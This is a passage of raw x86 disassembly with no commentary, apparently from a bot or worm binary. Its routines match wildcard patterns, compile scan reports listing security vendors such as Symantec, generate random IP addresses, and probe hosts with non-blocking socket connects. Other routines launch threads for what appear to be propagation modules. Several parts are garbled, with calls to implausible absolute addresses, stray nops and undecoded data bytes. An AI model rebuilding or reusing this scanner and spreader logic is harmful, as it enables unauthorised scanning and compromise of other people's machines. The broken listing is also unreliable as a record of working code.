var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B507
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B507: ; CODE XREF: sub_40B4E6+19j
push ebx
push esi
loc_40B509: ; CODE XREF: sub_40B4E6+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B517
cmp [ebp+var_4], eax
jnz short loc_40B563
loc_40B517: ; CODE XREF: sub_40B4E6+2Aj
test edi, edi
jnz short loc_40B558
cmp bl, 2Dh
jnz short loc_40B54C
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B54C
cmp al, 5Dh
jz short loc_40B54C
cmp [ebp+var_4], edi
jnz short loc_40B54C
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B558
cmp bl, al
jg short loc_40B558
push 1
mov [edx], esi
pop edi
jmp short loc_40B558
; ---------------------------------------------------------------------------
loc_40B54C: ; CODE XREF: sub_40B4E6+38j
; sub_40B4E6+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B558
push 1
pop edi
loc_40B558: ; CODE XREF: sub_40B4E6+33j
; sub_40B4E6+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B509
; ---------------------------------------------------------------------------
loc_40B563: ; CODE XREF: sub_40B4E6+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B570
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B570: ; CODE XREF: sub_40B4E6+82j
cmp edi, eax
jnz short loc_40B579
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B579: ; CODE XREF: sub_40B4E6+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B4E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B57E proc near ; CODE XREF: sub_40B450+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B59A: ; CODE XREF: sub_40B57E+3Aj
cmp [eax], bl
jz short loc_40B5BA
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B5AF
cmp cl, 2Ah
jnz short loc_40B5BA
cmp cl, 3Fh
jnz short loc_40B5B2
loc_40B5AF: ; CODE XREF: sub_40B57E+25j
inc eax
mov [edi], eax
loc_40B5B2: ; CODE XREF: sub_40B57E+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B59A
; ---------------------------------------------------------------------------
loc_40B5BA: ; CODE XREF: sub_40B57E+1Ej
; sub_40B57E+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B5C5
inc dword ptr [esi]
jmp short loc_40B5BA
; ---------------------------------------------------------------------------
loc_40B5C5: ; CODE XREF: sub_40B57E+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B5E6
mov edx, [esi]
cmp [edx], bl
jz short loc_40B5D7
xor eax, eax
jmp short loc_40B646
; ---------------------------------------------------------------------------
loc_40B5D7: ; CODE XREF: sub_40B57E+53j
cmp cl, bl
jnz short loc_40B5E6
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B5E6
push 1
pop eax
jmp short loc_40B646
; ---------------------------------------------------------------------------
loc_40B5E6: ; CODE XREF: sub_40B57E+4Dj
; sub_40B57E+5Bj ...
push eax
push dword ptr [esi]
call sub_40B450
pop ecx
test eax, eax
pop ecx
jnz short loc_40B630
loc_40B5F4: ; CODE XREF: sub_40B57E+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B5F8: ; CODE XREF: sub_40B57E+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B610
cmp cl, 5Bh
jz short loc_40B610
cmp dl, bl
jz short loc_40B610
inc eax
mov [edi], eax
jmp short loc_40B5F8
; ---------------------------------------------------------------------------
loc_40B610: ; CODE XREF: sub_40B57E+82j
; sub_40B57E+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B627
push eax
push dword ptr [esi]
call sub_40B450
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B62C
; ---------------------------------------------------------------------------
loc_40B627: ; CODE XREF: sub_40B57E+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B62C: ; CODE XREF: sub_40B57E+A7j
cmp eax, ebx
jnz short loc_40B5F4
loc_40B630: ; CODE XREF: sub_40B57E+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B643
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B643
mov [ebp+var_4], 1
loc_40B643: ; CODE XREF: sub_40B57E+B6j
; sub_40B57E+BCj
mov eax, [ebp+var_4]
loc_40B646: ; CODE XREF: sub_40B57E+57j
; sub_40B57E+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B57E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B64B proc near ; CODE XREF: sub_401ACD+2AF6p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_431E9C
push eax
xor ebx, ebx
call sub_41B886
cmp dword_431B00, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B6BD
push esi
mov esi, offset dword_431B08
loc_40B67E: ; CODE XREF: sub_40B64B+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B6B3
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_431E90
push eax
call sub_41B886
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C1E0
add esp, 1Ch
loc_40B6B3: ; CODE XREF: sub_40B64B+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B67E
pop esi
loc_40B6BD: ; CODE XREF: sub_40B64B+2Bj
push dword_4CB394
call sub_41A88C
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41B886
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C1E0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_200]
push eax
call sub_4151AD
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B64B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B71A proc near ; CODE XREF: sub_401ACD+2AE0p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CE160
mov ecx, dword_4CE15C
push esi
push dword_4CB394
lea esi, [ecx+eax]
call sub_41A88C
pop ecx
push eax
push esi
push dword_4CE160
lea eax, [ebp+var_200]
push dword_4CE15C
push offset unk_431EBC
push eax
call sub_41B886
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_200]
push eax
call sub_4151AD
add esp, 30h
pop esi
leave
retn
sub_40B71A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B786 proc near ; CODE XREF: sub_401ACD+2ACAp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CB394
call sub_41A88C
pop ecx
push eax
lea eax, [ebp+var_200]
push dword_4CE3A4
push offset unk_431F04
push eax
call sub_41B886
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_200]
push eax
call sub_4151AD
add esp, 28h
leave
retn
sub_40B786 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7DB proc near ; CODE XREF: sub_401ACD+2AB4p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BB20
push edi
lea eax, [ebp+var_800]
push offset dword_431F50
push eax
call sub_41B886
cmp dword_431B00, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B847
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40B810: ; CODE XREF: sub_40B7DB+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431F40
push eax
call sub_41B886
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C1E0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B810
pop esi
loc_40B847: ; CODE XREF: sub_40B7DB+2Dj
push dword_4CB394
call sub_41A88C
pop ecx
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41B886
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C1E0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_800]
push eax
call sub_4151AD
add esp, 30h
pop edi
leave
retn
sub_40B7DB endp
; ---------------------------------------------------------------------------
word_40B8A2 dw 8B55h ; DATA XREF: sub_401ACD+30E1o
dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h, 0BD8D59F0h
dd 0FFFFFECCh, 80C7A5F3h, 128h, 1, 0FECC858Dh, 0FF50FFFFh
dd 4CB69415h, 89FF3300h, 3D39F845h, 431B00h, 89FC7D89h
dd 840F087Dh, 118h, 431B00BBh
db 0, 8Bh, 0C3h
; ---------------------------------------------------------------------------
loc_40B8F3: ; CODE XREF: ___:0040B9FEj
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_40C088
add esp, 0Ch
cmp eax, 1
jnz loc_40B9F4
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_431FA0
push eax
call sub_41B886
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409A73
lea eax, [ebp-3F0h]
push eax
call sub_4151AD
add esp, 2Ch
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41B886
pop ecx
lea eax, [ebp-15Ch]
pop ecx
push esi
push eax
call sub_41B886
cmp byte ptr [ebp-0A4h], 0
pop ecx
pop ecx
lea eax, [ebp-0A4h]
jnz short loc_40B98F
lea eax, [ebp-124h]
loc_40B98F: ; CODE XREF: ___:0040B987j
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41B886
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_40B9F4: ; CODE XREF: ___:0040B906j
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40B8F3
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_431F6C
push eax
call sub_41B886
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409A73
lea eax, [ebp-3F0h]
push eax
call sub_4151AD
push dword ptr [ebp-18h]
call sub_40B413
add esp, 2Ch
push edi
; ---------------------------------------------------------------------------
db 0E8h, 0AAh, 45h
db 2Dh, 2, 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA57 proc near ; CODE XREF: sub_401ACD+244Fp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B33F
test eax, eax
pop ecx
jle short loc_40BA93
mov eax, [ebp+arg_C]
push dword_4CB7A0[eax*8]
call dword_4CB6E0
push eax
lea eax, [ebp+var_200]
push offset unk_431FF0
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_40BAA6
; ---------------------------------------------------------------------------
loc_40BA93: ; CODE XREF: sub_40BA57+13j
lea eax, [ebp+var_200]
push offset unk_431FD0
push eax
call sub_41B886
pop ecx
pop ecx
loc_40BAA6: ; CODE XREF: sub_40BA57+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_200]
push eax
call sub_4151AD
add esp, 18h
leave
retn
sub_40BA57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BACE proc near ; CODE XREF: sub_40C125+267p
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40BFA0
shl eax, 6
xor ebx, ebx
cmp dword_431B0C[eax], ebx
jz loc_40BFA0
push 5
call sub_40B33F
test eax, eax
pop ecx
jnz loc_40BD55
mov eax, dword_429078
push edi
mov esi, offset dword_4CD85C
push 104h
push esi
push ebx
mov dword_4CDA6C, eax
mov dword_4CDA68, ebx
call near ptr 2670000h
nop
mov edi, offset byte_42910C
push 103h
push edi
push offset dword_4CD960
call sub_41B5F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CD858, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CDAF0, eax
jnz short loc_40BB81
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDA70
call sub_41B5F0
add esp, 0Ch
mov dword_4CDAF4, 1
jmp short loc_40BB9B
; ---------------------------------------------------------------------------
loc_40BB81: ; CODE XREF: sub_40BACE+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDA70
call sub_41B5F0
add esp, 0Ch
mov dword_4CDAF4, ebx
loc_40BB9B: ; CODE XREF: sub_40BACE+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CDA6C
push offset unk_42C558
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B0F7
add esp, 1Ch
mov dword_4CDA64, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD858
push offset byte_411797
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, dword_4CDA64
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40BC09
loc_40BBF7: ; CODE XREF: sub_40BACE+139j
cmp dword_4CDAF8, ebx
jnz short loc_40BC24
push 32h
nop
call near ptr 2680000h
jmp short loc_40BBF7
; ---------------------------------------------------------------------------
loc_40BC09: ; CODE XREF: sub_40BACE+127j
call near ptr 2680ABEh
nop
push eax
lea eax, [ebp+var_204]
push offset unk_432110
push eax
call sub_41B886
add esp, 0Ch
loc_40BC24: ; CODE XREF: sub_40BACE+12Fj
lea eax, [ebp+var_204]
push eax
call sub_4151AD
mov eax, dword_4CB390
mov esi, offset dword_4CDB04
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CDD14, eax
mov dword_4CDD10, ebx
call near ptr 2670000h
nop
push 103h
push edi
push offset dword_4CDC08
call sub_41B5F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDB00, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CDD98, eax
push 7Fh
jnz short loc_40BCA5
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDD18
call sub_41B5F0
add esp, 0Ch
mov dword_4CDD9C, 1
jmp short loc_40BCBF
; ---------------------------------------------------------------------------
loc_40BCA5: ; CODE XREF: sub_40BACE+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDD18
call sub_41B5F0
add esp, 0Ch
mov dword_4CDD9C, ebx
loc_40BCBF: ; CODE XREF: sub_40BACE+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CDD14
push offset unk_4320DC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B0F7
add esp, 1Ch
mov dword_4CDD0C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDB00
push offset word_40E992
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, dword_4CDD0C
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40BD2D
loc_40BD1B: ; CODE XREF: sub_40BACE+25Dj
cmp dword_4CDDA0, ebx
jnz short loc_40BD48
push 32h
nop
call near ptr 2680000h
jmp short loc_40BD1B
; ---------------------------------------------------------------------------
loc_40BD2D: ; CODE XREF: sub_40BACE+24Bj
nop
call near ptr 2680ABEh
push eax
lea eax, [ebp+var_204]
push offset unk_4320A8
push eax
call sub_41B886
add esp, 0Ch
loc_40BD48: ; CODE XREF: sub_40BACE+253j
lea eax, [ebp+var_204]
push eax
call sub_4151AD
pop ecx
loc_40BD55: ; CODE XREF: sub_40BACE+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_431B14[ecx], ebx
jz loc_40BE7E
push 7
call sub_40B33F
test eax, eax
pop ecx
jnz loc_40BE78
mov eax, dword_4CE39C
cmp [ebp+arg_90], bl
mov dword_4CD7C4, eax
mov eax, [ebp+arg_110]
mov dword_4CD7B8, eax
mov eax, [ebp+arg_138]
mov dword_4CD7C0, ebx
mov dword_4CD848, eax
push 7Fh
jnz short loc_40BDC9
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD7C8
call sub_41B5F0
add esp, 0Ch
mov dword_4CD84C, 1
jmp short loc_40BDE3
; ---------------------------------------------------------------------------
loc_40BDC9: ; CODE XREF: sub_40BACE+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CD7C8
call sub_41B5F0
add esp, 0Ch
mov dword_4CD84C, ebx
loc_40BDE3: ; CODE XREF: sub_40BACE+2F9j
push dword_4CD7C4
lea eax, [ebp+var_204]
push offset unk_432078
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B0F7
add esp, 18h
mov dword_4CD7BC, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD7B8
push offset dword_40E6F0
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, dword_4CD7BC
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40BE50
loc_40BE3E: ; CODE XREF: sub_40BACE+380j
cmp dword_4CD850, ebx
jnz short loc_40BE6B
push 32h
call near ptr 2680000h
nop
jmp short loc_40BE3E
; ---------------------------------------------------------------------------
loc_40BE50: ; CODE XREF: sub_40BACE+36Ej
nop
call near ptr 2680ABEh
push eax
lea eax, [ebp+var_204]
push offset unk_432040
push eax
call sub_41B886
add esp, 0Ch
loc_40BE6B: ; CODE XREF: sub_40BACE+376j
lea eax, [ebp+var_204]
push eax
call sub_4151AD
pop ecx
loc_40BE78: ; CODE XREF: sub_40BACE+2A8j
mov eax, [ebp+arg_130]
loc_40BE7E: ; CODE XREF: sub_40BACE+298j
shl eax, 6
cmp dword_431B10[eax], ebx
jz loc_40BFA0
push 3
call sub_40B33F
test eax, eax
pop ecx
jnz loc_40BFA0
mov esi, offset dword_4CE034
push 104h
push esi
push ebx
nop
call near ptr 2670000h
push 5Ch
push esi
call sub_41BE40
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40BEBF
mov [eax], bl
loc_40BEBF: ; CODE XREF: sub_40BACE+3EDj
mov eax, dword_42907C
mov dword_4CE14C, ebx
mov dword_4CE138, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDDAC
call sub_41B886
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CDDA8, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CE138
mov dword_4CE144, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CE148, ecx
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42C4E0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B0F7
add esp, 20h
mov dword_4CE140, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDDA8
push offset sub_40F0D6
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, dword_4CE140
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40BF78
loc_40BF66: ; CODE XREF: sub_40BACE+4A8j
cmp dword_4CE154, ebx
jnz short loc_40BF93
push 32h
call near ptr 2680000h
nop
jmp short loc_40BF66
; ---------------------------------------------------------------------------
loc_40BF78: ; CODE XREF: sub_40BACE+496j
call near ptr 2680ABEh
nop
push eax
lea eax, [ebp+var_204]
push offset unk_43200C
push eax
call sub_41B886
add esp, 0Ch
loc_40BF93: ; CODE XREF: sub_40BACE+49Ej
lea eax, [ebp+var_204]
push eax
call sub_4151AD
pop ecx
loc_40BFA0: ; CODE XREF: sub_40BACE+14j
; sub_40BACE+25j ...
pop esi
pop ebx
leave
retn
sub_40BACE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFA4 proc near ; CODE XREF: sub_40C125:loc_40C196p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CB7A0h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41C310
add esp, 0Ch
push [ebp+arg_0]
call dword_4CB57C
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CB650
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41C310
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40BFA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFEC proc near ; CODE XREF: sub_40C125+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41AFE0
cmp eax, 0Fh
pop ecx
jbe short loc_40C014
xor eax, eax
jmp short loc_40C085
; ---------------------------------------------------------------------------
loc_40C014: ; CODE XREF: sub_40BFEC+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41C645
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C041
call sub_41B8E2
mov [ebp+var_C], eax
loc_40C041: ; CODE XREF: sub_40BFEC+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C04E
call sub_41B8E2
mov [ebp+var_8], eax
loc_40C04E: ; CODE XREF: sub_40BFEC+58j
cmp [ebp+var_4], esi
jnz short loc_40C05B
call sub_41B8E2
mov [ebp+var_4], eax
loc_40C05B: ; CODE XREF: sub_40BFEC+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C067
call sub_41B8E2
loc_40C067: ; CODE XREF: sub_40BFEC+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CB7A0[ecx*8], eax
loc_40C085: ; CODE XREF: sub_40BFEC+26j
pop esi
leave
retn
sub_40BFEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C088 proc near ; CODE XREF: ___:0040B8FBp
; sub_40C125+BBp
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CB6D4
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C0B1
xor eax, eax
jmp short loc_40C120
; ---------------------------------------------------------------------------
loc_40C0B1: ; CODE XREF: sub_40C088+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CB654
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CB6F0
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CB5FC
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CB63C
push esi
mov edi, eax
call dword_4CB6EC
xor eax, eax
cmp edi, ebx
setnle al
loc_40C120: ; CODE XREF: sub_40C088+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C088 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C125 proc near ; DATA XREF: sub_40C125+353o
var_29C = dword ptr -29Ch
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_1CC = byte ptr -1CCh
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_14C = byte ptr -14Ch
var_140 = byte ptr -140h
var_13C = byte ptr -13Ch
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
nop
call near ptr 2690AA5h
push eax
call sub_41B8D8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C16C: ; CODE XREF: sub_40C125+204j
mov eax, dword_43E594[ebx]
cmp dword_4CB7A4[eax*8], 0
jz loc_40C32E
cmp [ebp+var_10], 0
push eax
jz short loc_40C196
lea eax, [ebp+var_150]
push eax
call sub_40BFEC
pop ecx
jmp short loc_40C19B
; ---------------------------------------------------------------------------
loc_40C196: ; CODE XREF: sub_40C125+60j
call sub_40BFA4
loc_40C19B: ; CODE XREF: sub_40C125+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43E594[ebx]
push [ebp+var_3C]
push edi
call dword_4CB6E0
push eax
lea eax, [ebp+var_28C]
push offset unk_43216C
push eax
call sub_41B886
add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43E390[ebx]
push eax
call sub_41B886
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C088
add esp, 14h
cmp eax, 1
jnz loc_40C31E
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C272
push offset dword_4CD7A0
nop
call near ptr 77F7E21Fh
push [ebp+var_3C]
push edi
call dword_4CB6E0
push eax
lea eax, [ebp+var_28C]
push offset unk_432144
push eax
call sub_41B886
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C254
